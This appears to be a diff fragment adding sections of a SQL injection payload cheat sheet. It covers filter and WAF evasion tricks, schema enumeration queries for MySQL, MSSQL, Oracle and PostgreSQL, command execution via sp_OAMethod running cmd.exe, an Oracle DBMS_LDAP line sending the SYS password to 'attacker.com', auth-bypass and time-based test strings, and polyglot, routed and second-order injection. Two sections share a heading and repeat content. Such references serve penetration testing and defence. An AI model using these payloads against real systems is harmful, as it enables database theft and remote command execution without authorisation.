```
|
|
321
|
+
|
|
322
|
+
### Case Variation
|
|
323
|
+
```sql
|
|
324
|
+
UnIoN SeLeCt
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
### URL Encoding
|
|
328
|
+
```sql
|
|
329
|
+
%55NION -- U
|
|
330
|
+
%53ELECT -- S
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
### Whitespace Alternatives
|
|
334
|
+
```sql
|
|
335
|
+
SELECT/**/username/**/FROM/**/users
|
|
336
|
+
SELECT%09username%09FROM%09users -- tab
|
|
337
|
+
SELECT%0ausername%0aFROM%0ausers -- newline
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
### String Construction (bypass literal-string detection)
|
|
341
|
+
```sql
|
|
342
|
+
-- MySQL concatenation without quotes:
|
|
343
|
+
CHAR(117,115,101,114,110,97,109,101) -- 'username'
|
|
344
|
+
|
|
345
|
+
-- Oracle:
|
|
346
|
+
CHR(117)||CHR(115)||CHR(101)||CHR(114)
|
|
347
|
+
|
|
348
|
+
-- MSSQL:
|
|
349
|
+
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
---
|
|
353
|
+
|
|
354
|
+
## 10. DATABASE METADATA EXTRACTION
|
|
355
|
+
|
|
356
|
+
### MySQL
|
|
357
|
+
```sql
|
|
358
|
+
SELECT schema_name FROM information_schema.schemata
|
|
359
|
+
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
|
|
360
|
+
SELECT column_name FROM information_schema.columns WHERE table_name='users'
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
### MSSQL
|
|
364
|
+
```sql
|
|
365
|
+
SELECT name FROM master..sysdatabases
|
|
366
|
+
SELECT name FROM sysobjects WHERE xtype='U' -- user tables
|
|
367
|
+
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
### Oracle
|
|
371
|
+
```sql
|
|
372
|
+
SELECT owner,table_name FROM all_tables
|
|
373
|
+
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
|
|
374
|
+
SELECT username,password FROM dba_users -- requires DBA
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
### PostgreSQL
|
|
378
|
+
```sql
|
|
379
|
+
SELECT datname FROM pg_database
|
|
380
|
+
SELECT tablename FROM pg_tables WHERE schemaname='public'
|
|
381
|
+
SELECT column_name FROM information_schema.columns WHERE table_name='users'
|
|
382
|
+
```
|
|
383
|
+
|
|
384
|
+
---
|
|
385
|
+
|
|
386
|
+
## 11. STORED PROCEDURE ABUSE
|
|
387
|
+
|
|
388
|
+
### MSSQL — sp_OAMethod (COM automation)
|
|
389
|
+
```sql
|
|
390
|
+
DECLARE @o INT
|
|
391
|
+
EXEC sp_OACreate 'wscript.shell', @o OUT
|
|
392
|
+
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
### Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)
|
|
396
|
+
```sql
|
|
397
|
+
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
---
|
|
401
|
+
|
|
402
|
+
## 12. QUICK REFERENCE — INJECTION TEST STRINGS
|
|
403
|
+
|
|
404
|
+
```
|
|
405
|
+
' -- break string context
|
|
406
|
+
'' -- escaped quote (test handling)
|
|
407
|
+
' OR 1=1-- -- auth bypass attempt
|
|
408
|
+
' OR 'a'='a -- alternate auth bypass
|
|
409
|
+
'; SELECT 1-- -- statement termination
|
|
410
|
+
' UNION SELECT NULL-- -- UNION test
|
|
411
|
+
' AND 1=1-- -- boolean true
|
|
412
|
+
' AND 1=2-- -- boolean false (different response → injectable)
|
|
413
|
+
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
|
|
414
|
+
1 AND SLEEP(3)-- -- MySQL time delay
|
|
415
|
+
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
|
|
416
|
+
```
|
|
417
|
+
|
|
418
|
+
---
|
|
419
|
+
|
|
420
|
+
## 13. WAF BYPASS MATRIX
|
|
421
|
+
|
|
422
|
+
| Technique | Blocked | Bypass |
|
|
423
|
+
|---|---|---|
|
|
424
|
+
| Space filtered | `SELECT * FROM` | `SELECT/**/*//**/FROM`, `SELECT%0a*%0aFROM` |
|
|
425
|
+
| Comma filtered | `UNION SELECT 1,2,3` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c` |
|
|
426
|
+
| Quote filtered | `'admin'` | `0x61646D696E` (hex), `CHAR(97,100,109,105,110)` |
|
|
427
|
+
| OR/AND filtered | `OR 1=1` | <code>||1=1</code>, `&&1=1`, `DIV 0` |
|
|
428
|
+
| = filtered | `id=1` | `id LIKE 1`, `id REGEXP '^1$'`, `id IN (1)`, `id BETWEEN 1 AND 1` |
|
|
429
|
+
| SELECT filtered | | Use `handler` (MySQL), `PREPARE`+hex, or stacked queries |
|
|
430
|
+
| information_schema filtered | | `mysql.innodb_table_stats`, `sys.schema_table_statistics` |
|
|
431
|
+
|
|
432
|
+
Additional WAF bypass patterns:
|
|
433
|
+
|
|
434
|
+
- Polyglot: `SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/`
|
|
435
|
+
- Routed injection: `1' UNION SELECT 0x(inner_payload_hex)-- -` where inner payload is another full query hex-encoded
|
|
436
|
+
- Second Order: inject into storage, trigger when data is used in another query later
|
|
437
|
+
- PDO emulated prepare: when `PDO::ATTR_EMULATE_PREPARES=true`, stacked queries work even with parameterized-looking code
|
|
438
|
+
|
|
439
|
+
---
|
|
440
|
+
|
|
441
|
+
## 14. WAF BYPASS MATRIX
|
|
442
|
+
|
|
443
|
+
### No-Space Bypass
|
|
444
|
+
```sql
|
|
445
|
+
SELECT/**/username/**/FROM/**/users
|
|
446
|
+
SELECT(username)FROM(users)
|
|
447
|
+
```
|
|
448
|
+
|
|
449
|
+
### No-Comma Bypass
|
|
450
|
+
```sql
|
|
451
|
+
-- UNION with JOIN instead of comma:
|
|
452
|
+
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
|
|
453
|
+
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
|
|
454
|
+
-- LIMIT alternative: LIMIT 1 OFFSET 0
|
|
455
|
+
```
|
|
456
|
+
|
|
457
|
+
### Polyglot Injection
|
|
458
|
+
```sql
|
|
459
|
+
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|
460
|
+
```
|
|
461
|
+
|
|
462
|
+
### Routed Injection
|
|
463
|
+
```sql
|
|
464
|
+
-- First query returns string used as input to second query:
|
|
465
|
+
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
|
|
466
|
+
-- The returned value becomes part of another SQL context
|
|
467
|
+
```
|
|
468
|
+
|
|
469
|
+
### Second-Order Injection
|
|
470
|
+
```
|
|
471
|
+
-- Step 1: Register username: admin'--
|
|
472
|
+
-- Step 2: Trigger password change (uses stored username in SQL)
|
|
473
|
+
-- UPDATE users SET password='new' WHERE username='admin'--'
|
|
474
|
+
```
|
|
475
|
+
|
|
476
|
+
### PDO / Prepared Statement Edge Cases
|
|
477
|
+
```php
|
|
478
|
+
// Unsafe even with PDO when query structure is dynamic:
|
|
479
|
+
$pdo->query("SELECT * FROM " . $_GET['table']);
|
|
480
|
+
// Or when using emulated prepares with multi-query:
|
|
481
|
+
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
|
|
482
|
+
```
|
|
483
|
+
|
|
484
|
+
### Entry Point Detection (Unicode tricks)
|
|
485
|
+
```
|
|
486
|
+
U+02BA ʺ (modifier letter double prime) → "
|
|
487
|
+
U+02B9 ʹ (modifier letter prime) → '
|
|
488
|
+
%%2727 → %27 → '
|
|
489
|
+
```
|